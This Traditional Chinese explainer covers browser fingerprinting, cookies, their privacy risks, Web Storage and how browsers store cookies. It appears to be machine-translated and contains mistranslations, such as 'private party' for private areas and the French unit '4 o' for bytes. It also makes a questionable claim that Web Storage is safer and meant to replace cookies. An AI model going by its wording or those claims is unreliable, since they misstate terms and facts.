瀏覽器指紋是為識別目的而收集的有關瀏覽器配置設置的信息。 即使禁用 cookie，這些指紋也可用於完全或部分識別互聯網用戶或設備。

網站受眾服務長期以來一直收集基本的網絡瀏覽器配置信息，以準確測量人類網絡流量和檢測各種形式的點擊欺詐。 在客戶端腳本語言的幫助下，更準確的信息收集是 現在可能.

將此信息轉換為位串會生成設備指紋。 2010 年，電子前沿基金會 (EFF) 測得瀏覽器指紋的熵至少為 18,1位元，那是在畫布指紋技術的進步為該熵增加 5,7 位之前。

餅乾簡而言之

Cookie 是網絡瀏覽器存儲在網站訪問者硬盤上的小型文本文件，用於（除其他事項外）記錄有關訪問者或他們瀏覽網站的信息。 網站管理員因此可以識別訪問者的習慣並為每個訪問者個性化其網站的呈現； 然後 cookie 可以記住在主頁上顯示多少篇文章，甚至可以保留任何私人聚會的登錄憑據：當訪問者返回該站點時，他不再需要輸入他的姓名和密碼來訪問被識別，因為它們會自動讀取到 cookie 中。

cookie 的壽命有限，由網站設計者設置。 它們也可以在站點會話結束時過期，這對應於瀏覽器的關閉。 Cookie 被廣泛用於使訪問者的生活更輕鬆，並為他們提供更多相關信息。 但是特殊的技術可以在多個站點上跟踪訪問者，從而收集和交叉檢查有關他的習慣的非常廣泛的信息。 這種方法使 cookie 的使用成為一種侵犯訪問者隱私的監視技術，不幸的是，在許多出於非技術原因或不尊重用戶期望的使用情況下，這與現實相對應。。

為了應對這些合理的擔憂，HTML 5 為客戶端數據存儲引入了一個新的 JavaScript API，稱為 Web 存儲，它更安全，容量更大，旨在取代 cookie。

cookies的存儲

對於某些瀏覽器，cookie 很容易編輯，像記事本這樣的簡單文本編輯器就足以手動更改其值。

Cookie 的保存方式因瀏覽器而異：

• Microsoft Internet Explorer中 將每個 cookie 保存在不同的文件中；
• Mozilla Firefox瀏覽器 將所有 cookie 保存在一個文件中；
• Opera 將其所有 cookie 保存在一個文件中並對其進行加密（除非在軟件選項中，否則無法修改它們）；
• 蘋果Safari 將其所有 cookie 保存在單個 .plist 擴展文件中。 修改是可能的，但不是很容易，除非你通過軟件選項。

需要瀏覽器支持 至少 :

• 300 個同步 cookie；
• 每個 cookie 4 o；
• 每個主機或域 20 個 cookie。